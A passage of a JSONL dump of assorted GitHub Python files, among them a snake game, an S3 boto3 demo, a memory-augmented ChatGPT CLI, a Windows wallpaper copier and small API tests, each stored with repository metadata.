er.square_cost_der)\n value = sys.argv[4]\n errors = { 'square': square }\n e = errors.get(value, square)\n error = FunctionContainer()\n error.loss, error.loss_der, error.cost, error.cost_der = e\n return error\n\nfind_fittest()\n","repo_name":"alexandr-osprey/pythonplayground","sub_path":"src/pythonplayground.py","file_name":"pythonplayground.py","file_ext":"py","file_size_in_byte":2806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"3694538702","text":"import requests\n\n\ndef send_meli_shipment_notification(ids: list):\n url = 'https://ppointapi.clicoh.com/api/v1/mercadolibre/notifications/'\n\n heathers = {\"Content-Type\": \"application/json\"}\n sesion = requests.session()\n for number in ids:\n body = {\"_id\": \"59ab2448-9e4b-4acc-9df2-4c0c10f69616\",\n \"topic\": \"shipments\",\n \"resource\": f\"/shipments/{number}\",\n \"user_id\": \"651964590\",\n \"application_id\": \"2837633607706386\",\n \"sent\": \"2022-06-14T15:55:11.802Z\",\n \"attempts\": \"1\",\n \"received\": \"2022-06-14T15:55:11.655Z\"\n }\n response=sesion.post(url=url,headers=heathers, json=body)\n\n\nif __name__ == '__main__':\n #fill the ids array with meli shipings ids\n #format ids = [\"id1\", \"id2\", ....]\n ids = []\n\n #IMPORTANT: this script works only for the client adabra to change de store change de user_id on the body\n send_meli_shipment_notification(ids)\n","repo_name":"ignaciogazzia/Id-Extractor","sub_path":"meli_notification.py","file_name":"meli_notification.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"30809025776","text":"#!/usr/bin/env python3\n\n\"\"\"Main program for ChatGPT with long-term memory.\n\nUSAGE:\n\n src/main.py init\n Initialilzes the environment.\n\n src/main.py embed \n Prints the embedding of .\n\n src/main.py add \n Adds with the current timestamp as its ID to the memory.\n\n src/main.py update \n Updates the memory with id to .\n \n src/main.py query [ []]\n Finds the memories most relevant to . If is given,\n include only memories that were added at or after . If\n is given, include only memories that were added before.\n The time format is \"YYYY-MM-DDThh:mm:ss.xxxxxx\" in UTC, e.g.\n \"2021-01-01T12:34:56.123456\".\n\n src/main.py scored_query [ []]\n Similar to query, but sort the memories by their score instead of similarity to query.\n\n src/main.py get \n Prints the memory with id .\n\n src/main.py delete \n Deletes the memory with id .\n\n src/main.py chat\n Chats with GPT, saving the conversation history to the external memory.\n\n src/main.py rate \n Rates the memory with id .\n\n src/main.py update_importance ...\n Updates the importance of the memories with the given IDs.\n\"\"\"\n\nimport sys\n\nimport utils\n\n\ndef main():\n \"\"\"Main program.\"\"\"\n\n args = sys.argv[1:]\n if not args:\n sys.exit(__doc__)\n\n utils.init_environment()\n\n command = args[0]\n if command == \"init\":\n return\n\n if command == \"embed\":\n text = args[1]\n embedding = utils.to_embedding(text)\n print(f\"Text: {text}\")\n print(f\"Embedding: {embedding}\")\n return\n\n if command == \"add\":\n text = args[1]\n mem_id = utils.add_memory(text)\n print(f\"Added memory '{text}' with id {mem_id}.\", file=sys.stderr)\n return\n\n if command == \"update\":\n mem_id = args[1]\n text = args[2]\n utils.update_memory(id=mem_id, memory=text)\n print(f\"Updated memory {mem_id} with new content '{text}'.\", file=sys.stderr)\n return\n\n if command in (\"query\", \"scored_query\"):\n query = args[1]\n start_time = args[2] if len(args) > 2 else \"\"\n end_time = args[3] if len(args) > 3 else \"\"\n memories = utils.query_memory(\n query=query,\n start_time=start_time,\n end_time=end_time,\n scorer=utils.score_by_similarity\n if command == \"query\"\n else utils.comprehensive_score,\n )\n time_range_str = (\n f\" in time range [{start_time}..{end_time})\"\n if start_time or end_time\n else \"\"\n )\n print(\n f\"Found {len(memories)} memories matching '{query}'{time_range_str}.\",\n file=sys.stderr,\n )\n for score, memory in memories:\n print(\n f\"{memory.id} (score={score}, importance={memory.importance}) {memory.text}\"\n )\n return\n\n if command == \"get\":\n mem_id = args[1]\n memory = utils.get_memories(ids=[mem_id])[0]\n print(f\"Memory {mem_id} (importance={memory.importance}): {memory.text}\")\n return\n\n if command == \"delete\":\n mem_id = args[1]\n utils.delete_memories(ids=[mem_id])\n print(f\"Deleted memory {mem_id}.\", file=sys.stderr)\n return\n\n if command == \"chat\":\n utils.chat()\n return\n\n if command == \"rate\":\n mem_id = args[1]\n rating = utils.rate_memory_by_id(mem_id)\n print(f\"Rated memory {mem_id} with {rating}.\", file=sys.stderr)\n return\n\n if command == \"update_importance\":\n mem_ids = args[1:]\n utils.update_importance(ids=mem_ids)\n print(f\"Updated importance of memory {', '.join(mem_ids)}.\", file=sys.stderr)\n return\n\n sys.exit(f\"Unknown command {command}.\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"zhanyong-wan/chatgpt-mem","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4039,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"70700222226","text":"from tkinter import *\nfrom tkinter import font\nfrom random import randrange\nimport random\nimport os\n\ndef clic_Aléatoire ():\n ouv_fen(True,0) # aléatoire = true , nombre de lettre sans importance: exemple 15312.\n\ndef clic_5():\n ouv_fen(False,5)\n\ndef clic_6():\n ouv_fen(False,6)\n\ndef clic_7():\n ouv_fen(False,7)\n\ndef clic_8():\n ouv_fen(False,8)\n\ndef clic_9():\n ouv_fen(False,9)\n\ndef ouv_fen(Aléatoire,NbreL): # fait passer les informations entre deux programes\n fen1.destroy()\n import Projet_final\n Projet_final.initialiser (Aléatoire,NbreL)\n\nfen1=Tk()\nCan=Canvas(fen1,width=225, height=500, bg='white')\nImMotus = PhotoImage (file=\"2.png\")\nitem = Can.create_image(112,250,image=ImMotus)\nCan.place(x=200,y=150)\nMotus = Label(fen1, text=\"MOTUS\", font=font.Font(family=\"Consolas\",size=100))\nMotus.place(x=0,y=0, width=450, height=150)\nCinq = Button(fen1, text=\"Mots de 5 lettres\",command=clic_5)\nCinq.place(x=0,y=150, width=200, height=75)\nSix = Button(fen1, text=\"Mots de 6 lettres\",command=clic_6)\nSix.place(x=0,y=225,width=200, height=75)\nSept = Button(fen1, text=\"Mots de 7 lettres\",command=clic_7)\nSept.place(x=0,y=300,width=200, height=75)\nHuit = Button(fen1, text=\"Mots de 8 lettres\",command=clic_8)\nHuit.place(x=0,y=375,width=200, height=75)\nNeuf = Button(fen1, text=\"Mots de 9 lettres\",command=clic_9)\nNeuf.place(x=0,y=450,width=200, height=75)\nBoutonAléatoire = Button(fen1, text=\"Nombre de lettres aléatoires\",command=clic_Aléatoire)\nBoutonAléatoire.place(x=0,y=525,width=200, height=75)\nQuit = Button(fen1, text=\"Quitter\",command=fen1.quit)\nQuit.place(x=0,y=600,width=200, height=50)\n\nfen1.geometry(\"425x650\")\nfen1.mainloop()","repo_name":"fareanor3/isn_motus","sub_path":"Ouv_Projet_final_2.py","file_name":"Ouv_Projet_final_2.py","file_ext":"py","file_size_in_byte":1667,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71923319186","text":"bl_info = {\n \"name\": \"Fbx Export Utilities\",\n \"author\": \"take@elgraiv\",\n \"blender\": (2, 80, 0),\n \"location\": \"\",\n \"description\": \"Fbx Export Utilities\",\n \"warning\": \"\",\n \"tracker_url\": \"\",\n \"category\": \"Import-Export\"\n }\n\n\nimport bpy\n\nimport elgraiv_fbx_export_utils.properties\nimport elgraiv_fbx_export_utils.operators\nimport elgraiv_fbx_export_utils.panels\n\nclasses=[\n properties.FbxExportItem,\n properties.FbxExportSet,\n properties.FbxExportSetProperty,\n\n operators.FbxToolsExportOp,\n operators.FbxToolsExportSetAddOp,\n operators.FbxToolsExportSetRemoveOp,\n operators.FbxToolsExportSetChoosePathOp,\n\n panels.FBXTOOL_UL_export_set,\n panels.FBXTOOL_UL_export_item,\n panels.FBXTOOL_PT_fbx_exporter,\n\n ]\n\ndef register():\n for c in classes:\n bpy.utils.register_class(c)\n bpy.types.Scene.export_set=bpy.props.PointerProperty(type=properties.FbxExportSetProperty)\n\n\ndef unregister():\n del bpy.types.Scene.export_set\n for c in reversed(classes):\n bpy.utils.unregister_class(c)\n\n ","repo_name":"elgraiv-take/BlenderAddons","sub_path":"elgraiv_fbx_export_utils/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19246663269","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[8]:\n\n\n# 아래 두 줄의 코드는 비트코인의 가격 정보를 딕셔너리로 가져오는 코드이다.\nimport requests\nbtc = requests.get(\"https://api.bithumb.com/public/ticker/\").json()['data']\n\n# 시가, 최고가, 최저가, 변동폭의 값을 불러와서 설정해준다.\n시가 = float(btc['opening_price'])\n최고가 = float(btc['max_price'])\n최저가 = float(btc['min_price'])\n변동폭 = float(btc['max_price']) - float(btc['min_price']) # 변동폭 = (최고가 - 최저가) \n\n# if - else 구문을 사용하여 (시가+변동폭)이 최고가 보다 높으면 \"상승장\"을, 그렇지 않으면 \"하락장\"을 출력하도록 한다.\nif (시가+변동폭) > 최고가:\n print(\"상승장\")\nelse:\n print(\"하락장\")\n\n# 실행결과 : 상승장\n\n","repo_name":"Park-Jiho20/MSE_Python","sub_path":"ex130.py","file_name":"ex130.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6725165191","text":"\r\nimport boto3\r\nBUCKET_NAME=\"BOTO_SERIES\"\r\ns3=boto3.client(\"s3\")\r\nresponse=s3.list_objects(Bucket=BUCKET_NAME)\r\nfor obj in response[\"Contents\"]:\r\n print(obj)\r\n## upload a file to s3 bucket\r\n\r\nwith open(\"./file.jpg\",\"rb\") as file:\r\n s3.upload_fileobj(f,BUCKET_NAME,\"burger_new_upload.jpg\",ExtraArgs={\"ACl\":\"public-read\"})\r\n\r\n## Download file with the binary_data\r\nwith open(\"downloaded_burger.jpeg\",\"wb\") as f:\r\n s3.download_fileobj(BUCKET_NAME,\"burger.jpg\",f)\r\n ## Code her to send image to frontend\r\n\r\n\r\n## copy objects between different buckets\r\n\r\ns3.copy_objects(ACL=\"public_read\",Bucket=\"new-destination-bucket\",\r\nCopySource=f'/{Bucket_Name}/burger.jpg',key=\"CopiedImage.jpg\",)\r\n\r\n## Getting detailed about the objects\r\nresponse=s3.get_object(Bucket=BUCKET_NAME,key=\"burger.jpg\")\r\nprint(response)\r\n\r\n##\r\nbucket_location=s3.create_bucket(ACL=\"public-read\",Bucket=\"new-destination-bucket-777\")\r\nprint(bucket_location)\r\n","repo_name":"TekHeroes-Sowhit/Amazon_Scripts","sub_path":"s3_pandas.py","file_name":"s3_pandas.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"30204074444","text":"from typing import Dict\n\nfrom entity_filer.filing_meta import FilingMeta\n\n\ndef process(filing: Dict, filing_meta: FilingMeta):\n \"\"\"Render the agm location change filing into the model objects.\"\"\"\n filing_meta.agm_location_change = {\n 'year': filing['agmLocationChange']['year'],\n 'agmLocation': filing['agmLocationChange']['agmLocation'],\n 'reason': filing['agmLocationChange']['reason']\n }\n","repo_name":"bcgov/lear","sub_path":"queue_services/entity-filer/src/entity_filer/filing_processors/agm_location_change.py","file_name":"agm_location_change.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"48"} +{"seq_id":"32576482140","text":"import eel\nimport wx\nimport ctypes\ntry:\n ctypes.windll.shcore.SetProcessDpiAwareness(True)\nexcept:\n pass\ndef getPath(wildcard):\n app = wx.App(None)\n style = wx.FD_OPEN | wx.FD_FILE_MUST_EXIST\n dialog = wx.FileDialog(None, 'Open', wildcard=wildcard, style=style)\n if dialog.ShowModal() == wx.ID_OK:\n path = dialog.GetPath()\n else:\n path = None\n dialog.Destroy()\n return path\n@eel.expose\ndef saveFile():\n app = wx.App(None)\n style = wx.FD_SAVE\n dialog = wx.FileDialog(None, 'Open', wildcard='*.py', style=style)\n if dialog.ShowModal() == wx.ID_OK:\n path = dialog.GetPath()\n print(f'path found {path}')\n return path\n else:\n path = None\n dialog.Destroy()\n@eel.expose\ndef getFile():\n path = getPath('*')\n if path != None:\n return open(path, \"r\").read()\n else:\n return 'No File Selected'\neel.init('web')\neel.start('index.html')\n","repo_name":"davidsaldubehere/python-file-dialog-testing","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16570955305","text":"import os,shutil\nimport tkinter as tk\nfrom tkinter.filedialog import askdirectory\nimport getpass\n\ndef start():\n global picSize\n usr=getpass.getuser()\n dst=\"C:\\\\Users\\\\\"+usr+\"\\\\AppData\\\\Local\\\\Packages\\\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\\\LocalState\\\\Assets\"\n dir=dir_path_tmp.get() #要保存的文件夹\n folder = os.path.exists(dir)\n if not folder:\n os.makedirs(dir)\n for root,dirs,files in os.walk(dst):\n for f in files:\n if (os.path.getsize(dst+\"\\\\\"+f) > int(picSize.get())*1024): #挑选出大于200KB的图片\n shutil.copyfile(dst+\"\\\\\"+f,dir+\"\\\\\"+f+\".jpg\")\n b.configure(text=\"完成\",state=\"disable\") #按钮状态修改\n\ndef dir_path_choose():\n path = askdirectory()\n dir_path_tmp.set(path)\n\nroot = tk.Tk()\nroot.title('Win10锁屏壁纸保存')\nroot.geometry('600x300')\nroot.resizable(width = False, height = False) #界面大小固定\n\ndir_path_tmp = tk.StringVar()\ndir_path_tmp.set(\"C:/Pics\")\npath_label = tk.Label(root, text = '请选择存储位置:', font = ('Arial',12), width = 30, height = 2)\npath_label.place(x=8, y=40)\ntk.Entry(root, textvariable = dir_path_tmp, show = None).place(x=300,y=52)\npath_button = tk.Button(root, text = '...', width = 3, height = 1, command = dir_path_choose)\npath_button.place(x=500, y=47)\n\npicSize=tk.StringVar()\nsize_label = tk.Label(root, text = '舍弃以下大小的图片:', font = ('Arial',12), width = 30, height = 2)\nsize_label.place(x=10,y=100)\nsize_label = tk.Entry(root, textvariable=picSize, show = None)\nsize_label.place(x = 300, y = 112)\npicSize.set(\"200\") #默认舍弃200kb以下的图片\nsize_label_kb = tk.Label(root, text = 'KB', font = ('Arial',10), width = 2, height = 2)\nsize_label_kb.place(x=490,y=105)\n\nb = tk.Button(root, text = '开始', width = 20, height = 2, command = start)\nb.place(x = 230, y = 180)\n\nroot.mainloop()\n","repo_name":"bing-dong/get-win10-Lock-screen-wallpaper","sub_path":"getPics.py","file_name":"getPics.py","file_ext":"py","file_size_in_byte":1885,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"39502384784","text":"\"\"\"\"\nTEST for Turing Machine\n\"\"\"\n#\n# from TM-Accept_Bal_Parens import TuringMachine\nfrom g import apple\n\nfrom TMProject import TuringMachine\n\n\n\n\n\ntestCases = {'0011':\"Acceept\",'1100':\"Acceept\",'101':\"Acceept\",'':\"Acceept\",'001':\"Reject\",'1':\"Reject\",'001111':\"Reject\"}\n\n\nfor case in testCases:\n print(\"test case\" + \" \" + case)\n print(\"expected \" + testCases[case])\n m = TuringMachine(case,[6])\n m.execute()\n print()","repo_name":"rpasricha45/turingMachine","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28345405496","text":"\nimport unittest\nimport requests\n\nclass TestRejestrKontAPI(unittest.TestCase):\n body = {\n \"imie\": \"Maria\",\n \"nazwisko\": \"Monica\",\n \"pesel\": \"99101155984\"\n }\n \n body_update = {\n \"imie\": \"Anna\"\n }\n \n body2 = {\n \"imie\": \"Laura\",\n \"nazwisko\": \"Palmer\",\n \"pesel\": \"99101155984\"\n }\n \n url = \"http://localhost:5000\"\n \n\n \n def test_1a_tworzenie_konta(self):\n utworz_konto_res = requests.post(self.url + \"/konta/stworz_konto\", json = self.body)\n self.assertEqual(utworz_konto_res.status_code, 201)\n \n def test_1b_tworzenie_konta_istniejacy_pesel(self):\n utworz_drugie_konto_res = requests.post(self.url + \"/konta/stworz_konto\", json = self.body2)\n self.assertEqual(utworz_drugie_konto_res.status_code, 400) \n \n \n def test_2_wyszukanie_stworzonego_konta(self):\n znajdz_konto_res = requests.get(self.url + \"/konta/konto/\" + self.body['pesel'])\n self.assertEqual(znajdz_konto_res.status_code, 200)\n znalezione_konto = znajdz_konto_res.json()\n self.assertEqual(znalezione_konto[\"imie\"], self.body[\"imie\"])\n self.assertEqual(znalezione_konto[\"nazwisko\"], self.body[\"nazwisko\"])\n self.assertEqual(znalezione_konto[\"saldo\"], 0)\n \n def test_3_aktualizacja_konta(self):\n znajdz_konto_res = requests.get(self.url + \"/konta/konto/\" + self.body['pesel'])\n self.assertEqual(znajdz_konto_res.status_code, 200)\n znalezione_konto = znajdz_konto_res.json()\n aktualizuj_konto_res = requests.put(self.url + \"/konta/konto/\" + self.body['pesel'], json = self.body_update)\n oczekiwane_dane = {**znalezione_konto, **self.body_update}\n self.assertEqual(aktualizuj_konto_res.status_code, 200)\n zaktualizowane_konto_res = requests.get(self.url + \"/konta/konto/\" + oczekiwane_dane[\"pesel\"])\n self.assertEqual(zaktualizowane_konto_res.status_code, 200)\n zaktualizowane_dane = zaktualizowane_konto_res.json()\n \n self.assertEqual(zaktualizowane_dane[\"imie\"], oczekiwane_dane[\"imie\"]) \n self.assertEqual(zaktualizowane_dane[\"nazwisko\"], oczekiwane_dane[\"nazwisko\"]) \n self.assertEqual(zaktualizowane_dane[\"pesel\"], oczekiwane_dane[\"pesel\"]) \n self.assertEqual(zaktualizowane_dane[\"saldo\"], oczekiwane_dane[\"saldo\"]) \n \n def test_4_usuwanie_konta(self):\n ilosc_kont_przed_usuwaniem = int(requests.get(self.url + \"/konta/ile_kont\").json())\n usun_konto_res = requests.delete(self.url + \"/konta/konto/\" + self.body['pesel'])\n self.assertEqual(usun_konto_res.status_code, 200)\n ilosc_kont_po_usuniencu = int(requests.get(self.url + \"/konta/ile_kont\").json())\n self.assertEqual(ilosc_kont_przed_usuwaniem - 1, ilosc_kont_po_usuniencu)\n \n \n ","repo_name":"konrad-ug/automatic_testing_2022","sub_path":"app/api_tests/test_api_rejestr_kont.py","file_name":"test_api_rejestr_kont.py","file_ext":"py","file_size_in_byte":2845,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21238029922","text":"import turtle\r\nimport time\r\nimport random\r\n\r\n#configuracion de la ventana:\r\nwin=turtle.Screen() #creamos elemento ventana\r\nwin.title(\"Juego Piton\")\r\nwin.bgcolor(\"blue\")\r\nwin.setup(width=600, height=600) #redimensionar ventana\r\n#win.tracer(0) #animaciones mejoradas\r\n\r\n#contador comida:\r\ncontador=0\r\n\r\n#lista q contendra el cuerpo de la piton:\r\nbody=[]\r\n\r\n#tablero:\r\ntb=turtle.Turtle()\r\ntb.speed(0)\r\ntb.color(\"green\")\r\ntb.penup()\r\ntb.hideturtle()\r\ntb.goto(0,260)\r\ntb.write(\"Puntuacion = 0\",align=\"center\",font=(\"Courier\",24,\"normal\"))\r\n\r\n#cabeza de la piton:\r\nhead=turtle.Turtle() #creamos elemento turtle\r\nhead.speed(0)\r\nhead.shape(\"square\")\r\nhead.color(\"yellow\")\r\nhead.penup() #para que no deje \"rastro\" cuando se mueva, osea no dibuja al moverse\r\nhead.goto(0,0) #ubicamos en el centro la piton\r\nhead.direction=\"stop\"\r\n\r\n#comida de la piton:\r\neat=turtle.Turtle() #creamos elemento turtle\r\neat.speed(0)\r\neat.shape(\"circle\")\r\neat.color(\"green\")\r\neat.penup()\r\ncx=random.randint(-280,280) #300-20 porque hay que descontar el tamaño de la comida, si se crea en el borde 300 ya no se veria\r\ncy=random.randint(-280,280)\r\neat.goto(cx,cy) #ubicamos en el centro la piton\r\n\r\n# for i in range(0,40):\r\n# \thead.forward(100) #flecha de 100px\r\n# \thead.left(90) #giro hacia la derecha en angulo recto\r\n\r\n#funciones controladoras para llamar los movimientos:\r\ndef arriba():\r\n\thead.direction=\"up\"\r\ndef abajo():\r\n\thead.direction=\"down\"\r\ndef izquierda():\r\n\thead.direction=\"left\"\r\ndef derecha():\r\n\thead.direction=\"right\"\r\n#funciones que haran el movimiento:\r\ndef mov():\r\n\tif head.direction==\"up\":\r\n\t\ty=head.ycor() #almacenamos en \"y\" el valor de la coordenada y\r\n\t\thead.sety(y+20) #aumentamos en 20px la coordenada y, q es lo mismo que suba 20px\r\n\r\n\tif head.direction==\"down\":\r\n\t\ty=head.ycor()\r\n\t\thead.sety(y-20)\r\n\r\n\tif head.direction==\"left\":\r\n\t\tx=head.xcor()\r\n\t\thead.setx(x-20)\r\n\r\n\tif head.direction==\"right\":\r\n\t\tx=head.xcor()\r\n\t\thead.setx(x+20)\r\n\r\n\r\n#dejamos el teclado en escucha:\r\nwin.listen()\r\nwin.onkeypress(arriba,\"Up\")\r\nwin.onkeypress(abajo,\"Down\")\r\nwin.onkeypress(izquierda,\"Left\")\r\nwin.onkeypress(derecha,\"Right\")\r\n\r\nwhile True:\r\n\twin.update()\r\n\r\n\t#colision con los bordes:\r\n\tif head.ycor()==280 or head.ycor()==-280 or head.xcor()==280 or head.xcor()==-280:\r\n\t\ttime.sleep(0.3)\r\n\t\thead.goto(0,0)\r\n\t\thead.direction=\"stop\"\r\n\t\t#esconder los segmentos, los mandamos bien lejos\r\n\t\tfor k in body: #usar un tipo foreach\r\n\t\t\tk.goto(2000,2000)\r\n\t\tbody.clear() #limpiamos la lista (osea los segmentos que conforman el cuerpo)\r\n\r\n\tif head.distance(eat)<20: #la cabeza y la comida miden 20px, si la distancia entre ellas es menor a 20 es q se han tocado\r\n\t\tcontador+=1\r\n\t\ttb.clear() #limpiamos el tablero antes de reescribirlo\r\n\t\ttb.write(\"Puntuacion = {}\",format(contador),align=\"center\",font=(\"Courier\",24,\"normal\"))\r\n\t\th=random.randint(-280,280)\r\n\t\tv=random.randint(-280,280)\r\n\t\teat.goto(h,v)\r\n\r\n\t\t#por cada colision comida-piton creamos un nuevo segmento:\r\n\t\tsegmento=turtle.Turtle() \r\n\t\tsegmento.speed(0)\r\n\t\tsegmento.shape(\"square\")\r\n\t\tsegmento.color(\"yellow\")\r\n\t\tsegmento.penup() \r\n\t\t#segmento.direction=\"stop\"\r\n\t\tbody.append(segmento)\r\n\r\n\ttotalSeg=len(body)\r\n\t#movimiento del cuerpo de la piton:\r\n\tfor i in range(totalSeg-1, 0, -1): #inicio, fin], decremento\r\n\t\t#tomar las coordenadas del elemento penultimo, para q el ultimo lo pueda seguir:\r\n\t\tex=body[i-1].xcor()\r\n\t\tye=body[i-1].ycor()\r\n\t\tbody[i].goto(ex,ye)\r\n\r\n\t#si hay cuerpo (osea si ha comido):\r\n\tif totalSeg>0:\r\n\t\tx=head.xcor()\r\n\t\ty=head.ycor()\r\n\t\tbody[0].goto(x,y)\r\n\r\n\r\n\t#============intento de colision cabeza-cuerpo===========\r\n\t# for k in range(len(body)):\r\n\t# \tif head.distance(body[k])<=0:\r\n\t# \t\tbody=[]\r\n\t# \t\thead.goto(0,0)\r\n\t# \t\t#head.distance(eat)<20:\t\t\t\r\n\r\n\t#================intento de otro metodo para el movimiento del cuerpo==================\r\n\t# if totalSeg>0:\r\n\t# \tx=head.xcor()\r\n\t# \ty=head.ycor()\r\n\t# \tbody[0].goto(x,y)\r\n\t\r\n\t# for i in range(1,totalSeg):\r\n\t# #tomar coordenadas de la cabeza y darselas al siguiente:\r\n\t# \tecs=body[i-1].xcor()\r\n\t# \tlle=body[i-1].ycor()\r\n\t# \tbody[i].goto(ecs,lle) #al elemento i=1 le damos la direccion de i=0\r\n\tmov()\r\n\ttime.sleep(0.1) #posponer por 0.1 de segundo","repo_name":"curiosubermensch/python-autodidacta","sub_path":"Juegos/snake.py","file_name":"snake.py","file_ext":"py","file_size_in_byte":4157,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"41536643553","text":"#!/usr/bin/env python3\n# Created By: Jedidiah\n# Date: Jan 12, 2021\n# This program checks the condition at the end of the loop.\ndef main():\n # factorial loop\n loop_counter = 0\n factorial_answer = 1\n\n # get user number\n user_number = int(input(\"Enter a whole number: \"))\n print(\"\")\n\n # calculate the user number and factorial answer\n while True:\n loop_counter = loop_counter + 1\n factorial_answer = factorial_answer * loop_counter\n print(\"Tracking {} times through loop.\".format(loop_counter))\n if loop_counter >= user_number:\n break\n\n print(\"\")\n print(\"{}! = {}\".format(user_number, factorial_answer))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ICS3U-Programming-Jedidiah-A/Unit4-02-Python","sub_path":"factorial.py","file_name":"factorial.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42142272838","text":"import cv2\nimport numpy as np\nfrom .parameters import *\n\n\ndef downSample(matrix):\n \"\"\"\n Downsample matrix/image with Gaussian smoothing\n :param matrix: Matrix/Image\n :return: Downsampled image\n \"\"\"\n\n gaussian_matrix = cv2.GaussianBlur(matrix, KERNEL, SIGMA, SIGMA)\n downsampled_matrix = gaussian_matrix[::2, ::2]\n\n return downsampled_matrix\n\n\ndef upSample(matrix):\n \"\"\"\n Upsample matrix/image with Gaussian smoothing\n :param matrix: Matrix/Image\n :return: Upsampled image\n \"\"\"\n\n matrix_shape = matrix.shape\n matrix = 2 * matrix\n\n row_upsampled_matrix = np.zeros((matrix_shape[0], 2 * matrix_shape[1]))\n row_upsampled_matrix[:, ::2] = matrix\n\n matrix_shape = np.shape(row_upsampled_matrix)\n row_col_upsampled_matrix = np.zeros((2 * matrix_shape[0], matrix_shape[1]))\n row_col_upsampled_matrix[::2, :] = row_upsampled_matrix\n\n upsampled_matrix = cv2.GaussianBlur(row_col_upsampled_matrix, KERNEL, SIGMA, SIGMA)\n\n return upsampled_matrix\n","repo_name":"vineeths96/Video-Interpolation-using-Optical-Flow","sub_path":"multiscale_lucas_kanade/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"48"} +{"seq_id":"40393382793","text":"# -*- coding: utf-8 -*-\n# (j-i)*(1+abs(stones[i]-stones[j])) <= K 이 조건이 충족되어야함\n# \n\nimport sys\n\nN, K = map(int, sys.stdin.readline().split())\nstones = list(map(int, sys.stdin.readline().split()))\n\nans = [False for _ in range(N)]\nans[0] = True\n\nfor j in range(1, N):\n for i in range(j):\n if ans[i] and (j-i)*(1+abs(stones[i]-stones[j])) <= K:\n ans[j] = True\n break\n\nif ans[N-1]: print(\"YES\")\nelse: print(\"NO\")","repo_name":"sonhl0723/algorithm","sub_path":"BOJ_restart/DP/22869.py","file_name":"22869.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"20119796918","text":"NUMBERS = 10\ndef main():\n count_e = 0 # Contador de números pares.\n count_o = 0 # Contador de números impares.\n number_list = [] # Lista que gurdará los números introducidos.\n even = [] # Lista que guardará los números pares.\n odd = [] # Lista que guardará los números impares.\n for i in range(NUMBERS): # Pedimos tantas veces como el enunciado ha establecido.\n number = int(input(\"Introduce el número: \")) # La variable number almacenará el número introducido por el usuario.\n while number < 0 or number > 10: # Verificamos que el número introducido este dentro del rango aceptado.\n number = int(input(\"Introduce el número entre 0 y 10 incluidos: \")) # Si no es así, se lo pedimos de nuevo.\n number_list.append(number) # Una vez tengamos el número validado, lo añadimos al final de la lista.\n for i in range(NUMBERS):\n if number_list[i] % 2 == 0: # Comprobamos si el primer número introducido es par, y asi sucesivamente.\n even.append(number_list[i]) # Guardamos el valor en la lista de pares.\n count_e += 1 # Incrementamos el contador.\n else: # Si el primer número introducido es impar lo guardará en su respectiva lista.\n odd.append(number_list[i]) # Guardamos el valor en la lista de impares.\n count_o += 1 # Incrementamos el contador.\n print(\"\\nLos números pares son:\", end=\" \")\n for i in range(count_e):\n print(even[i], end=\" \") # Mostramos al usuario la lista con los números pares.\n print(\"\\nLos números impares son:\", end=\" \")\n for j in range(count_o):\n print(odd[j], end=\" \") # Mostramos al usuario la lista con los números impares.\n\nif __name__ == \"__main__\":\n main()","repo_name":"Hbohera/hbohera_asix","sub_path":"AC12.Python.py","file_name":"AC12.Python.py","file_ext":"py","file_size_in_byte":1758,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"20800267453","text":"import numpy as np\nimport pandas as pd\nimport os\nfrom appconfig import AppConfig\nfrom flask import session\n# import logging\n\n# log_format = \"%(asctime)s::%(name)s::\"\\\n# \"%(filename)s::%(funcName)s::%(lineno)d::%(message)s\"\n# logging.basicConfig(filename='tatti.log', filemode='w', level='DEBUG', format=log_format)\n\n# logger = logging.getLogger()\n# logger.setLevel(logging.DEBUG)\n\ndef preprocess_csv_file_full_table(file_name, file_path, id):\n pd.set_option(\"display.max_columns\", 30)\n df = pd.read_csv(os.path.join(file_path,file_name.split('.')[0]+'.csv'), na_filter=False)\n os.remove(os.path.join(file_path,file_name.split('.')[0]+'.csv'))\n def pehla_wala(df):\n if 'Unnamed: 0' in list(df.columns):\n df.rename(columns = {'Unnamed: 0':'SI'}, inplace = True)\n\n df.columns = 